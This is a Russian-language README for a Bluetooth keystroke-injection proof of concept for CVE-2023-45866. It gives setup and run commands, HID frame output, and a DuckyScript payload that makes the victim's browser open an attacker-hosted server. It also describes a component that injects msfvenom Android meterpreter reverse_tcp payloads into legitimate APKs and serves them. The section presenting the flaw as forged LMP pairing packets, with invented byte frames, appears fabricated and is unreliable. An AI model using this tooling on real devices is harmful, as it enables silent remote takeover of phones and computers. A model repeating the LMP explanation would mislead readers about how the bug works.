blueXploit

Видео blueXploit

• blueXploit — это мой собственный proof-of-concept, воспроизводящий CVE-2023-45866, уязвимость внедрения нажатий клавиш в Bluetooth, обнаруженную Марком Ньюлином. Она использует недостаток в протоколе Bluetooth для внедрения нажатий клавиш в целевое устройство без сопряжения, открывая путь для более сложных атак.

Атрибуция. Уязвимость и оригинальный эксплойт — работа Марка Ньюлина (hi_my_name_is_keyboard) — я не претендую на их обнаружение. Этот репозиторий — воспроизведение, созданное для понимания и документирования ошибки; поверх него blueXploit добавляет раннер полезных нагрузок в стиле DuckyScript, механизм переподключения/повторных попыток и опциональный помощник для внедрения Android APK. Всё здесь предназначено только для образования и исследований.

Как работает уязвимость

Эти критические уязвимости (CVE-2023-45866, CVE-2024-21306) позволяют атакующему внедрять нажатия клавиш и принимать запросы на сопряжение без подтверждения пользователя. Это критически влияет на безопасность множества операционных систем.

Затронутые системы

• Android: с 4.2 по 14 (11–14, если отсутствует патч от 2023-12-05)
• Linux: требуется патч для BlueZ.
• macOS: с 12 по 14.2 (частичное исправление).
• iOS: 16 (уязвима), исправлено в iOS 17.2.
• Windows: исправлено в январском «Patch Tuesday» 2024 года.

Воздействие

• Уязвимость позволяет удалённо управлять устройством, внедряя нажатия клавиш даже без принятия сопряжения Bluetooth, принудительно устанавливая соединение и выполняя команды с клавиатуры.

Примеры атак

• Удалённое выполнение команд: управление уязвимыми устройствами через внедрённые нажатия клавиш, где векторы атак многочисленны — от получения shell до установки вредоносных приложений.
• Атаки типа «отказ в обслуживании» (DoS): переполнение устройств запросами на сопряжение.

Меры по снижению риска

• Обновляйте устройства последними системными патчами.
• Отключайте Bluetooth, когда он не используется (это предотвращает запуск любого эксплойта для этой уязвимости).
• Избегайте сопряжения с неизвестными устройствами.

blueXploit - использование и демонстрация

• Основано на оригинальном эксплойте Марка Ньюлина.

• Установка зависимостей

# update apt
sudo apt-get update
sudo apt-get -y upgrade

# install dependencies from apt
sudo apt install -y bluez-tools bluez-hcidump libbluetooth-dev \
                    git gcc python3-pip python3-setuptools \
                    python3-pydbus apktool metasploit-framework \
                    keytool openjdk-23-jdk

sudo apt autoremove && sudo apt autoclean  

# install pybluez from source
git clone https://github.com/pybluez/pybluez.git
cd pybluez
sudo python3 setup.py install

# build bdaddr from the bluez source
cd ~/
git clone --depth=1 https://github.com/bluez/bluez.git
gcc -o bdaddr ~/bluez/tools/bdaddr.c ~/bluez/src/oui.c -I ~/bluez -lbluetooth
sudo cp bdaddr /usr/local/bin/

Использование APKPwn + blueXploit

blueXploit включает инструментарий для эксплуатации уязвимостей на устройствах Android, предлагая два основных компонента и дополнительную программу под названием apkpwn_injector, расположенную в папке injector.

Возможности APKPwn

• Автоматизирует создание полезных нагрузок android/meterpreter/reverse_tcp с помощью msfvenom.
• Внедряет эти полезные нагрузки в существующие .apk-приложения в папке apk_clean.
• Настраивает локальный сервер для раздачи сгенерированных вредоносных приложений.

Эти функции обеспечивают эффективный и упрощённый процесс атаки в контролируемых средах или для тестирования на проникновение.

cd injector
python3 apkpwn_injector.py

Создание или редактирование duckypayload

Команды клавиш, выполняемые blueXploit, загружаются из папки /injector/payloads/ в формате .txt с простым и понятным синтаксисом.

Пример duckypayload

DELAY 200
ESCAPE
GUI d
ALT ESCAPE
GUI b
DELAY 700
REM PRIVATE_BROWSER is equal to CTRL + SHIFT + N
PRIVATE_BROWSER
DELAY 700
CTRL l
DELAY 300
STRING 192.168.0.1
DELAY 800
ENTER
DELAY 300
             

Измените IP-адрес на адрес, где размещён сервер.

Обнаружение и перечисление устройств

bluetoothctl

Сканирование Bluetooth-устройств

scan on

Запуск

python3 blueXploit.py -i hci0 -t FF:FF:FF:FF:FF:FF

Затем выберите требуемую, предварительно настроенную полезную нагрузку.

Демонстрация

Полная демонстрация в этом видео

Используемое оборудование

• Raspberry Pi 4
• Kali Linux ARM64

Объяснение CVE-2023-45866

Эта уязвимость эксплуатируется на низком уровне протокола Bluetooth, главным образом манипулируя профилем HID и протоколом L2CAP, чтобы внедрять нажатия клавиш в устройство жертвы.

1. Протокол Bluetooth на низком уровне

Стек Bluetooth включает несколько уровней, таких как протокол управления связью (LMP), интерфейс хост-контроллера (HCI) и L2CAP. Эта атака в основном использует два последних:

• HCI: конфигурация адаптера изменяется так, чтобы он представлялся легитимным HID-устройством.

• L2CAP: отвечает за мультиплексирование данных между устройствами; L2CAP использует канал 17 (HID Control) и канал 19 (HID Interrupt) для HID-связи, что может быть использовано для отправки последовательностей клавиш.

Эксплуатация CVE-2023-45866

CVE-2023-45866 — это уязвимость в протоколе управления связью (LMP), эксплуатируемая через атаку «принудительное сопряжение». Вот как это происходит технически:

• LMP управляет запросами на сопряжение и конфигурацией соединения.
• Повреждённые или неаутентифицированные LMP-пакеты отправляются для принудительного сопряжения, например так:

LMP Pairing Request: 0x01 0x01 0x00 0x00 0x00 0x00 0x00 0x00

В этом кадре данных:

• 0x01: запрос на сопряжение LMP
• 0x01: запрос аутентификации LMP (PIN)
• 0x00 0x00 0x00 0x00: информация о слабом PIN-коде, обычно 0000

Здесь эксплойт использует отсутствие конфигурации и аутентификации для этого пакета, что в итоге возвращает:

  LMP Accept: 0x02 0x00 0x00 0x00 0x00

В этом кадре данных:

• 0x02: запрос на сопряжение LMP ПРИНЯТ
• 0x00 0x00 0x00 0x00: возвращённая повреждённая информация о PIN-коде

Если ключ не проверяется должным образом, соединение устанавливается, но без реального сопряжения, поэтому можно отправить LMP-пакет принудительного сопряжения так:

  LMP Forced Pairing: 0x03 0x01 0x0000

Затем аутентификация может быть принудительно выполнена с использованием ранее раскрытых ключей (например, «0000»), и устанавливается зашифрованный канал связи, связывающий устройства без надлежащей проверки.

Это создаёт сопряжение без ведома пользователя и даже без какого-либо окна сопряжения или уведомления.

Недостаток этой CVE в том, что некоторые устройства не проверяют должным образом запросы аутентификации LMP или в итоге повторно используют старые ключи.

Поэтому, как только сопряжение с устройством установлено — бам! — остальное просто: в blueXploit.py адаптер и устройство действуют и подделывают идентификационные данные. В этом случае выполняются такие команды:

hciconfig hci1 name "blueXploit"
hciconfig hci1 class 0x002540  # HID class (keyboard)

Код blueXploit

# configure name and class
log.status("Configuring interface: '%s'" % args.interface )
adapter = Adapter(args.interface)
adapter.set_name("blueXploit")
adapter.set_class(0x002540) # 0x00 unspecified, 0x25 HID device, 0x40 keyboard or mouse
target_name = run(["hcitool", "name", args.target_address]) # gets name

Внедрение данных HID

[?] Attempting to send letter: a
[.] Attempting to send... (<Key_Codes._1: 30>,)
[.] [TX-19] Attempting to send data: a10100001e000000000000
[.] [TX-19] Data sent successfully

Объяснение байтового кадра HID: :a10100001e000000000000

• a1: указывает тип HID-отчёта
• 01: указывает использование интерфейса HID для входящих данных
• 00: нажатие или отпускание клавиши
• 00 1e 00 00 00 00: шестнадцатеричное значение, где 1e соответствует букве a

Затем принимается ACK для подтверждения успешной передачи данных.

• blueXploit включает механизм переподключения и повторной отправки данных для обеспечения стабильной и без потерь связи, поэтому при обрыве соединения программа переподключается и продолжает отправлять HID-данные с предыдущей позиции/символа.

Предупреждение: Этот материал и описанные в данном репозитории техники предназначены строго для образовательных и исследовательских целей. Инструменты проникновения и эксплуатации должны использоваться только на системах, на которые у вас есть явное разрешение на проверку. Несанкционированное использование этих техник на системах, которые вам не принадлежат, запрещено и незаконно во многих юрисдикциях. Любой ущерб или негативные последствия, вызванные неправильным использованием этого содержимого, являются исключительной ответственностью пользователя.

Пользователям рекомендуется работать в контролируемых средах, таких как тестовые лаборатории, и соблюдать все местные законы и нормативные акты, касающиеся информационной безопасности и этичного взлома. удачного взлома :D